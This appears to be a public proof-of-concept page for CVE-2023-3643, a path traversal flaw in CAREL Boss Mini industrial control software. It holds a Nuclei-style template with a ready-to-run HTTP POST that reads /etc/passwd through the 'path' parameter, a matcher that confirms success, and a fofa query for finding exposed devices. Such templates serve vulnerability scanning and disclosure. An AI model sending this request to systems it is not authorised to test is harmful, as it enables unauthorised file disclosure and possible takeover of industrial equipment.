CVE-2023-3643: CAREL Boss Mini <= 1.4.0 - Local File Inclusion

2026-03-25 CAREL Boss Mini PoC Public

Description

Boss Mini 1.4.0 Build 6221 contains a file inclusion caused by manipulation of the 'path' argument in boss/servlet/document, letting remote attackers include arbitrary files, exploit requires remote access.

PoC

id: CVE-2023-3643

info:
  name: CAREL Boss Mini <= 1.4.0 - Local File Inclusion
  author: Kazgangap
  severity: critical
  description: |
    Boss Mini 1.4.0 Build 6221 contains a file inclusion caused by manipulation of the 'path' argument in boss/servlet/document, letting remote attackers include arbitrary files, exploit requires remote access.
  impact: |
    Remote attackers can include arbitrary files, potentially leading to remote code execution or full system compromise.
  remediation: |
    Update to the latest version of Boss Mini or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3643
    - https://www.cisa.gov/news-events/ics-advisories/icsa-24-172-02
    - https://vuldb.com/?id.233889
    - https://www.exploit-db.com/exploits/52482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3643
    epss-score: 0.75363
    epss-percentile: 0.99488
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: carel
    product: boss-mini
    fofa-query: icon_hash=="1092427843"
  tags: cve,cve2023,lfi,carel,boss-mini,ics,path-traversal,file-inclusion

http:
  - raw:
      - |
        POST /boss/servlet/document HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: https://{{RootURL}}/boss/app/report/popup.html?/etc/passwd

        path=/etc/passwd

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
# digest: 490a0046304402201eb2cc0bfa08ce1ce8a3e7e19e28d1026f7833836754ecb1b49d76be91639f7402201096b9871302e6173998e72bee23d387283dea80d93129ee35fb597bfaf6357b:922c64590222798bb761d5b6d8e72950

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